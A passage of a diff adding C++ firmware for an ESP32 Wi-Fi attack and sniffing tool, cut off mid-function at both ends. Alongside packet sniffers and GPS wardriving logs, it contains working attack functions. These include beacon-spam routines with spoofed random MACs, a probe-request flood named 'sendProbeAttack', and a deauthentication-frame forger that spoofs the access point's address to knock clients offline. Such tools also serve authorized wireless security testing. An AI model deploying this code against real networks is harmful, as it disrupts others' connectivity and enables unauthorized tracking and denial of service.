+ char addr[] = "00:00:00:00:00:00";
+ getMAC(addr, snifferPacket->payload, 10);
+ Serial.print(addr);
+ Serial.print(" ESSID: ");
+ if (snifferPacket->payload[37] <= 0)
+ display_string.concat(addr);
+ else {
+ for (int i = 0; i < snifferPacket->payload[37]; i++)
+ {
+ Serial.print((char)snifferPacket->payload[i + 38]);
+ display_string.concat((char)snifferPacket->payload[i + 38]);
+ }
+ }
+
+ int temp_len = display_string.length();
+
+ #ifdef HAS_SCREEN
+ for (int i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ Serial.print(" ");
+
+ if (display_obj.display_buffer->size() == 0)
+ {
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ }
+ #endif
+
+ Serial.println();
+
+ buffer_obj.append(snifferPacket, len);
+ }
+ else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_WAR_DRIVE) {
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ bool do_save = false;
+
+ // Check if we've already seen this AP
+ char addr[] = "00:00:00:00:00:00";
+ getMAC(addr, snifferPacket->payload, 10);
+ if (wifi_scan_obj.seen_mac(reinterpret_cast(addr)))
+ return;
+
+ Serial.print("RSSI: ");
+ Serial.print(snifferPacket->rx_ctrl.rssi);
+ Serial.print(" Ch: ");
+ Serial.print(snifferPacket->rx_ctrl.channel);
+
+ if (snifferPacket->payload[37] > 0) {
+ Serial.print(" ESSID: ");
+ for (int i = 0; i < snifferPacket->payload[37]; i++)
+ {
+ Serial.print((char)snifferPacket->payload[i + 38]);
+ display_string.concat((char)snifferPacket->payload[i + 38]);
+ essid.concat((char)snifferPacket->payload[i + 38]);
+ }
+ }
+ else {
+ Serial.print(" BSSID: ");
+ Serial.print(addr);
+ display_string.concat(addr);
+ }
+
+ if (gps_obj.getFixStatus()) {
+ do_save = true;
+ display_string.concat(" | Lt: " + gps_obj.getLat());
+ display_string.concat(" | Ln: " + gps_obj.getLon());
+ }
+ else
+ display_string.concat(" | GPS: No Fix");
+
+ int temp_len = display_string.length();
+
+ #ifdef HAS_SCREEN
+ for (int i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ Serial.print(" ");
+
+ if (display_obj.display_buffer->size() == 0)
+ {
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ }
+ #endif
+
+ Serial.println();
+
+ wifi_scan_obj.save_mac(reinterpret_cast(addr));
+
+ int n = WiFi.scanNetworks(false, true, false, 110, wifi_scan_obj.set_channel);
+
+ if (do_save) {
+ if (n > 0) {
+ for (int i = 0; i < n; i++) {
+ Serial.printf("%-32.32s", WiFi.SSID(i).c_str());
+ Serial.print(" -> ");
+ Serial.println(wifi_scan_obj.security_int_to_string(WiFi.encryptionType(i)).c_str());
+ }
+ }
+ String wardrive_line = (String)addr + "," + essid + "," + wifi_scan_obj.security_int_to_string(snifferPacket->rx_ctrl.channel) + "," + gps_obj.getDatetime() + "," + (String)snifferPacket->rx_ctrl.channel + "," + (String)snifferPacket->rx_ctrl.rssi + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",WIFI";
+ Serial.println(wardrive_line);
+ //buffer_obj.append(wardrive_line);
+ }
+ }
+ #endif
+ }
+ }
+ }
+}
+
+void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
+ wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+ WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+ wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+ int len = snifferPacket->rx_ctrl.sig_len;
+
+ String display_string = "";
+ String mac = "";
+
+ if (type == WIFI_PKT_MGMT)
+ {
+ len -= 4;
+ int fctl = ntohs(frameControl->fctl);
+ const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+ const WifiMgmtHdr *hdr = &ipkt->hdr;
+ }
+
+ char ap_addr[] = "00:00:00:00:00:00";
+ char dst_addr[] = "00:00:00:00:00:00";
+
+ int ap_index = 0;
+
+ // Check if frame has ap in list of APs and determine position
+ uint8_t frame_offset = 0;
+ int offsets[2] = {10, 4};
+ bool matched_ap = false;
+ bool ap_is_src = false;
+
+ bool mac_match = true;
+
+ for (int y = 0; y < 2; y++) {
+ for (int i = 0; i < access_points->size(); i++) {
+ mac_match = true;
+
+ for (int x = 0; x < 6; x++) {
+ //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+ if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) {
+ mac_match = false;
+ break;
+ }
+ }
+ if (mac_match) {
+ matched_ap = true;
+ if (offsets[y] == 10)
+ ap_is_src = true;
+ ap_index = i;
+ getMAC(ap_addr, snifferPacket->payload, offsets[y]);
+ break;
+ }
+ }
+ if (matched_ap)
+ break;
+ }
+
+ // If did not find ap from list in frame, drop frame
+ if (!matched_ap)
+ return;
+ else {
+ if (ap_is_src)
+ frame_offset = 4;
+ else
+ frame_offset = 10;
+ }
+ /* Stuff to care about now
+ * ap_is_src
+ * ap_index
+ */
+
+
+ // Check if we already have this station
+ bool in_list = false;
+ for (int i = 0; i < stations->size(); i++) {
+ mac_match = true;
+
+ for (int x = 0; x < 6; x++) {
+ //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+ if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) {
+ mac_match = false;
+ //Serial.println("MACs do not match");
+ break;
+ }
+ }
+ if (mac_match) {
+ in_list = true;
+ break;
+ }
+ }
+
+ getMAC(dst_addr, snifferPacket->payload, 4);
+
+ // Check if dest is broadcast
+ if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0))
+ return;
+
+ // Add to list of stations
+ Station sta = {
+ {snifferPacket->payload[frame_offset],
+ snifferPacket->payload[frame_offset + 1],
+ snifferPacket->payload[frame_offset + 2],
+ snifferPacket->payload[frame_offset + 3],
+ snifferPacket->payload[frame_offset + 4],
+ snifferPacket->payload[frame_offset + 5]},
+ false};
+
+ stations->add(sta);
+
+ // Print findings to serial
+ Serial.print((String)stations->size() + ": ");
+
+ char sta_addr[] = "00:00:00:00:00:00";
+
+ if (ap_is_src) {
+ Serial.print("ap: ");
+ Serial.print(ap_addr);
+ Serial.print(" -> sta: ");
+ getMAC(sta_addr, snifferPacket->payload, 4);
+ Serial.println(sta_addr);
+ }
+ else {
+ Serial.print("sta: ");
+ getMAC(sta_addr, snifferPacket->payload, 10);
+ Serial.print(sta_addr);
+ Serial.print(" -> ap: ");
+ Serial.println(ap_addr);
+ }
+ display_string.concat(sta_addr);
+ display_string.concat(" -> ");
+ display_string.concat(access_points->get(ap_index).essid);
+
+ int temp_len = display_string.length();
+
+ #ifdef HAS_SCREEN
+ for (int i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ Serial.print(" ");
+
+ if (display_obj.display_buffer->size() == 0)
+ {
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ }
+ #endif
+
+ // Add station index to AP in list
+ //access_points->get(ap_index).stations->add(stations->size() - 1);
+
+ AccessPoint ap = access_points->get(ap_index);
+ ap.stations->add(stations->size() - 1);
+
+ access_points->set(ap_index, ap);
+
+ buffer_obj.append(snifferPacket, len);
+}
+
+void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+ extern WiFiScan wifi_scan_obj;
+
+ wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+ WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+ wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+ int len = snifferPacket->rx_ctrl.sig_len;
+
+ String display_string = "";
+
+ if (type == WIFI_PKT_MGMT)
+ {
+ len -= 4;
+ int fctl = ntohs(frameControl->fctl);
+ const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+ const WifiMgmtHdr *hdr = &ipkt->hdr;
+ }
+
+ if (wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) {
+ bool found = false;
+ uint8_t targ_index = 0;
+ AccessPoint targ_ap;
+
+ // Check list of APs
+ for (int i = 0; i < access_points->size(); i++) {
+ if (access_points->get(i).selected) {
+ uint8_t addr[] = {snifferPacket->payload[10],
+ snifferPacket->payload[11],
+ snifferPacket->payload[12],
+ snifferPacket->payload[13],
+ snifferPacket->payload[14],
+ snifferPacket->payload[15]};
+ // Compare AP bssid to ssid of recvd packet
+ for (int x = 0; x < 6; x++) {
+ if (addr[x] != access_points->get(i).bssid[x]) {
+ found = false;
+ break;
+ }
+ else
+ found = true;
+ }
+ if (found) {
+ targ_ap = access_points->get(i);
+ targ_index = i;
+ break;
+ }
+ }
+ }
+ if (!found)
+ return;
+
+ if ((targ_ap.rssi + 5 < snifferPacket->rx_ctrl.rssi) || (snifferPacket->rx_ctrl.rssi + 5 < targ_ap.rssi)) {
+ targ_ap.rssi = snifferPacket->rx_ctrl.rssi;
+ access_points->set(targ_index, targ_ap);
+ Serial.print((String)access_points->get(targ_index).essid + " RSSI: " + (String)access_points->get(targ_index).rssi);
+ display_string = (String)access_points->get(targ_index).essid + " RSSI: " + (String)access_points->get(targ_index).rssi;
+ }
+ else
+ return;
+ }
+
+ else {
+ Serial.print("RSSI: ");
+ Serial.print(snifferPacket->rx_ctrl.rssi);
+ Serial.print(" Ch: ");
+ Serial.print(snifferPacket->rx_ctrl.channel);
+ Serial.print(" BSSID: ");
+ char addr[] = "00:00:00:00:00:00";
+ getMAC(addr, snifferPacket->payload, 10);
+ Serial.print(addr);
+ display_string.concat(text_table4[0]);
+ display_string.concat(snifferPacket->rx_ctrl.rssi);
+
+ display_string.concat(" ");
+ display_string.concat(addr);
+ }
+
+ int temp_len = display_string.length();
+
+ #ifdef HAS_SCREEN
+ for (int i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ Serial.print(" ");
+
+ if (display_obj.display_buffer->size() == 0)
+ {
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ }
+ #endif
+
+ Serial.println();
+
+ buffer_obj.append(snifferPacket, len);
+}
+
+void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+ wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+ WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+ wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+ int len = snifferPacket->rx_ctrl.sig_len;
+
+ String display_string = "";
+
+ if (type == WIFI_PKT_MGMT)
+ {
+ len -= 4;
+ int fctl = ntohs(frameControl->fctl);
+ const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+ const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+ // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+ #ifdef HAS_SCREEN
+ int buf = display_obj.display_buffer->size();
+ #else
+ int buf = 0;
+ #endif
+ if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
+ {
+ delay(random(0, 10));
+ Serial.print("RSSI: ");
+ Serial.print(snifferPacket->rx_ctrl.rssi);
+ Serial.print(" Ch: ");
+ Serial.print(snifferPacket->rx_ctrl.channel);
+ Serial.print(" BSSID: ");
+ char addr[] = "00:00:00:00:00:00";
+ char dst_addr[] = "00:00:00:00:00:00";
+ getMAC(addr, snifferPacket->payload, 10);
+ getMAC(dst_addr, snifferPacket->payload, 4);
+ Serial.print(addr);
+ Serial.print(" -> ");
+ Serial.print(dst_addr);
+ display_string.concat(text_table4[0]);
+ display_string.concat(snifferPacket->rx_ctrl.rssi);
+
+ display_string.concat(" ");
+ display_string.concat(addr);
+
+ #ifdef HAS_SCREEN
+ for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ Serial.print(" ");
+
+ if (display_obj.display_buffer->size() == 0)
+ {
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ }
+ #endif
+
+ Serial.println();
+
+ buffer_obj.append(snifferPacket, len);
+ }
+ }
+}
+
+void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
+
+ extern WiFiScan wifi_scan_obj;
+
+ wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+ WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+ wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+ int len = snifferPacket->rx_ctrl.sig_len;
+
+ String display_string = "";
+
+ if (type == WIFI_PKT_MGMT)
+ {
+ len -= 4;
+ int fctl = ntohs(frameControl->fctl);
+ const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+ const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+
+ // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+ //#ifdef HAS_SCREEN
+ // int buf = display_obj.display_buffer->size();
+ //#else
+ int buf = 0;
+ //#endif
+ if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
+ {
+ if (wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) {
+ delay(random(0, 10));
+ Serial.print("RSSI: ");
+ Serial.print(snifferPacket->rx_ctrl.rssi);
+ Serial.print(" Ch: ");
+ Serial.print(snifferPacket->rx_ctrl.channel);
+ Serial.print(" Client: ");
+ char addr[] = "00:00:00:00:00:00";
+ getMAC(addr, snifferPacket->payload, 10);
+ Serial.print(addr);
+ display_string.concat(addr);
+ Serial.print(" Requesting: ");
+ display_string.concat(" -> ");
+ for (int i = 0; i < snifferPacket->payload[25]; i++)
+ {
+ Serial.print((char)snifferPacket->payload[26 + i]);
+ display_string.concat((char)snifferPacket->payload[26 + i]);
+ }
+
+ // Print spaces because of the rotating lines of the hardware scroll.
+ // The same characters print from previous lines so I just overwrite them
+ // with spaces.
+ #ifdef HAS_SCREEN
+ for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ if (display_obj.display_buffer->size() == 0)
+ {
+ //while (display_obj.printing)
+ // delay(1);
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ }
+ #endif
+
+ Serial.println();
+
+ buffer_obj.append(snifferPacket, len);
+ }
+ else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION_WAR_DRIVE) {
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ bool do_save = false;
+
+ // Check if we've already seen this AP
+ char addr[] = "00:00:00:00:00:00";
+ getMAC(addr, snifferPacket->payload, 10);
+ if (wifi_scan_obj.seen_mac(reinterpret_cast(addr)))
+ return;
+
+ Serial.print("RSSI: ");
+ Serial.print(snifferPacket->rx_ctrl.rssi);
+ Serial.print(" Ch: ");
+ Serial.print(snifferPacket->rx_ctrl.channel);
+
+ Serial.print(" BSSID: ");
+ Serial.print(addr);
+ display_string.concat(addr);
+
+ if (gps_obj.getFixStatus()) {
+ do_save = true;
+ display_string.concat(" | Lt: " + gps_obj.getLat());
+ display_string.concat(" | Ln: " + gps_obj.getLon());
+ }
+ else
+ display_string.concat(" | GPS: No Fix");
+
+ int temp_len = display_string.length();
+
+ #ifdef HAS_SCREEN
+ for (int i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ Serial.print(" ");
+
+ if (display_obj.display_buffer->size() == 0)
+ {
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ }
+ #endif
+
+ Serial.println();
+
+ //wifi_scan_obj.save_mac(reinterpret_cast(addr));
+
+ if (do_save) {
+ String wardrive_line = (String)addr + "," + (String)addr + ",," + gps_obj.getDatetime() + "," + (String)snifferPacket->rx_ctrl.channel + "," + (String)snifferPacket->rx_ctrl.rssi + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",WIFI";
+ Serial.println(wardrive_line);
+ buffer_obj.append(wardrive_line);
+ }
+ }
+ #endif
+ }
+ }
+ }
+}
+
+void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
+ wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+ WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+ wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+ int len = snifferPacket->rx_ctrl.sig_len;
+
+ String display_string = "";
+ String essid = "";
+ bool found = false;
+
+ if (type == WIFI_PKT_MGMT)
+ {
+ len -= 4;
+ int fctl = ntohs(frameControl->fctl);
+ const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+ const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+
+ // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+ #ifdef HAS_SCREEN
+ int buf = display_obj.display_buffer->size();
+ #else
+ int buf = 0;
+ #endif
+ if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
+ {
+
+ for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
+ {
+ essid.concat((char)snifferPacket->payload[26 + i]);
+ }
+
+ for (int i = 0; i < ssids->size(); i++) {
+ if (ssids->get(i).essid == essid) {
+ Serial.println("Found a sheep");
+ found = true;
+ break;
+ }
+ }
+
+ if (!found)
+ return;
+
+ delay(random(0, 10));
+ Serial.print("RSSI: ");
+ Serial.print(snifferPacket->rx_ctrl.rssi);
+ Serial.print(" Ch: ");
+ Serial.print(snifferPacket->rx_ctrl.channel);
+ Serial.print(" Client: ");
+ char addr[] = "00:00:00:00:00:00";
+ getMAC(addr, snifferPacket->payload, 10);
+ Serial.print(addr);
+ display_string.concat(addr);
+ Serial.print(" Requesting: ");
+ display_string.concat(" -> ");
+
+ // ESSID
+ for (int i = 0; i < snifferPacket->payload[25]; i++)
+ {
+ Serial.print((char)snifferPacket->payload[26 + i]);
+ display_string.concat((char)snifferPacket->payload[26 + i]);
+ }
+
+ // Print spaces because of the rotating lines of the hardware scroll.
+ // The same characters print from previous lines so I just overwrite them
+ // with spaces.
+ #ifdef HAS_SCREEN
+ for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ if (display_obj.display_buffer->size() == 0)
+ {
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ }
+ #endif
+
+ Serial.println();
+
+ buffer_obj.append(snifferPacket, len);
+ }
+ }
+}
+
+void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
+ set_channel = random(1,12);
+ esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+ delay(1);
+
+ if (custom_ssid.beacon->size() == 0)
+ return;
+
+
+ // Randomize SRC MAC
+ // Randomize SRC MAC
+ packet[10] = packet[16] = random(256);
+ packet[11] = packet[17] = random(256);
+ packet[12] = packet[18] = random(256);
+ packet[13] = packet[19] = random(256);
+ packet[14] = packet[20] = random(256);
+ packet[15] = packet[21] = random(256);
+
+ char ESSID[custom_ssid.essid.length() + 1] = {};
+ custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
+
+ int realLen = strlen(ESSID);
+ int ssidLen = random(realLen, 33);
+ int numSpace = ssidLen - realLen;
+ //int rand_len = sizeof(rand_reg);
+ int fullLen = ssidLen;
+ packet[37] = fullLen;
+
+ // Insert my tag
+ for(int i = 0; i < realLen; i++)
+ packet[38 + i] = ESSID[i];
+
+ for(int i = 0; i < numSpace; i++)
+ packet[38 + realLen + i] = 0x20;
+
+ /////////////////////////////
+
+ packet[50 + fullLen] = set_channel;
+
+ uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+ 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+ // Add everything that goes after the SSID
+ //for(int i = 0; i < 12; i++)
+ // packet[38 + fullLen + i] = postSSID[i];
+
+ packet[34] = custom_ssid.beacon->get(0);
+ packet[35] = custom_ssid.beacon->get(1);
+
+
+ esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+
+ packets_sent = packets_sent + 3;
+}
+
+void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
+ set_channel = custom_ssid.channel;
+ esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+ delay(1);
+
+ // Randomize SRC MAC
+ packet[10] = packet[16] = custom_ssid.bssid[0];
+ packet[11] = packet[17] = custom_ssid.bssid[1];
+ packet[12] = packet[18] = custom_ssid.bssid[2];
+ packet[13] = packet[19] = custom_ssid.bssid[3];
+ packet[14] = packet[20] = custom_ssid.bssid[4];
+ packet[15] = packet[21] = custom_ssid.bssid[5];
+
+ char ESSID[custom_ssid.essid.length() + 1] = {};
+ custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
+
+ int ssidLen = strlen(ESSID);
+ //int rand_len = sizeof(rand_reg);
+ int fullLen = ssidLen;
+ packet[37] = fullLen;
+
+ // Insert my tag
+ for(int i = 0; i < ssidLen; i++)
+ packet[38 + i] = ESSID[i];
+
+ /////////////////////////////
+
+ packet[50 + fullLen] = set_channel;
+
+ uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+ 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+ // Add everything that goes after the SSID
+ for(int i = 0; i < 12; i++)
+ packet[38 + fullLen + i] = postSSID[i];
+
+
+ esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+
+ packets_sent = packets_sent + 3;
+}
+
+// Function to send beacons with random ESSID length
+void WiFiScan::broadcastSetSSID(uint32_t current_time, const char* ESSID) {
+ set_channel = random(1,12);
+ esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+ delay(1);
+
+ // Randomize SRC MAC
+ packet[10] = packet[16] = random(256);
+ packet[11] = packet[17] = random(256);
+ packet[12] = packet[18] = random(256);
+ packet[13] = packet[19] = random(256);
+ packet[14] = packet[20] = random(256);
+ packet[15] = packet[21] = random(256);
+
+ int ssidLen = strlen(ESSID);
+ //int rand_len = sizeof(rand_reg);
+ int fullLen = ssidLen;
+ packet[37] = fullLen;
+
+ // Insert my tag
+ for(int i = 0; i < ssidLen; i++)
+ packet[38 + i] = ESSID[i];
+
+ /////////////////////////////
+
+ packet[50 + fullLen] = set_channel;
+
+ uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+ 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+ // Add everything that goes after the SSID
+ for(int i = 0; i < 12; i++)
+ packet[38 + fullLen + i] = postSSID[i];
+
+
+ esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+
+ packets_sent = packets_sent + 3;
+
+}
+
+// Function for sending crafted beacon frames
+void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
+
+ set_channel = random(1,12);
+ esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+ delay(1);
+
+ // Randomize SRC MAC
+ packet[10] = packet[16] = random(256);
+ packet[11] = packet[17] = random(256);
+ packet[12] = packet[18] = random(256);
+ packet[13] = packet[19] = random(256);
+ packet[14] = packet[20] = random(256);
+ packet[15] = packet[21] = random(256);
+
+ packet[37] = 6;
+
+
+ // Randomize SSID (Fixed size 6. Lazy right?)
+ packet[38] = alfa[random(65)];
+ packet[39] = alfa[random(65)];
+ packet[40] = alfa[random(65)];
+ packet[41] = alfa[random(65)];
+ packet[42] = alfa[random(65)];
+ packet[43] = alfa[random(65)];
+
+ packet[56] = set_channel;
+
+ uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+ 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+ // Add everything that goes after the SSID
+ for(int i = 0; i < 12; i++)
+ packet[38 + 6 + i] = postSSID[i];
+
+ esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+ //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
+ //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
+
+ packets_sent = packets_sent + 3;
+}
+
+// Function to send probe flood to all "active" access points
+void WiFiScan::sendProbeAttack(uint32_t currentTime) {
+ // Itterate through all access points in list
+ for (int i = 0; i < access_points->size(); i++) {
+
+ // Check if active
+ if (access_points->get(i).selected) {
+ this->set_channel = access_points->get(i).channel;
+ esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+ delay(1);
+
+ // Build packet
+ // Randomize SRC MAC
+
+ prob_req_packet[10] = random(256);
+ prob_req_packet[11] = random(256);
+ prob_req_packet[12] = random(256);
+ prob_req_packet[13] = random(256);
+ prob_req_packet[14] = random(256);
+ prob_req_packet[15] = random(256);
+
+ // Set SSID length
+ int ssidLen = access_points->get(i).essid.length();
+ int fullLen = ssidLen;
+ prob_req_packet[25] = fullLen;
+
+ // Insert ESSID
+ char buf[access_points->get(i).essid.length() + 1] = {};
+ access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
+
+ for(int i = 0; i < ssidLen; i++)
+ prob_req_packet[26 + i] = buf[i];
+
+ uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
+ 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
+ 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
+ 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00};
+
+ uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
+
+ for (int i = 0; i < 26 + fullLen; i++)
+ good_probe_req_packet[i] = prob_req_packet[i];
+
+ for(int i = 0; i < 40; i++)
+ good_probe_req_packet[26 + fullLen + i] = postSSID[i];
+
+
+
+ // Send packet
+ esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+
+ packets_sent = packets_sent + 3;
+ }
+ }
+}
+
+void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, uint8_t mac[6]) {
+ WiFiScan::set_channel = channel;
+ esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
+ delay(1);
+
+ // Build AP source packet
+ deauth_frame_default[4] = mac[0];
+ deauth_frame_default[5] = mac[1];
+ deauth_frame_default[6] = mac[2];
+ deauth_frame_default[7] = mac[3];
+ deauth_frame_default[8] = mac[4];
+ deauth_frame_default[9] = mac[5];
+
+ deauth_frame_default[10] = bssid[0];
+ deauth_frame_default[11] = bssid[1];
+ deauth_frame_default[12] = bssid[2];
+ deauth_frame_default[13] = bssid[3];
+ deauth_frame_default[14] = bssid[4];
+ deauth_frame_default[15] = bssid[5];
+
+ deauth_frame_default[16] = bssid[0];
+ deauth_frame_default[17] = bssid[1];
+ deauth_frame_default[18] = bssid[2];
+ deauth_frame_default[19] = bssid[3];
+ deauth_frame_default[20] = bssid[4];
+ deauth_frame_default[21] = bssid[5];
+
+ // Send packet
+ esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+ packets_sent = packets_sent + 3;
+
+ // Build AP dest packet
+ deauth_frame_default[4] = bssid[0];
+ deauth_frame_default[5] = bssid[1];
+ deauth_frame_default[6] = bssid[2];
+ deauth_frame_default[7] = bssid[3];
+ deauth_frame_default[8] = bssid[4];
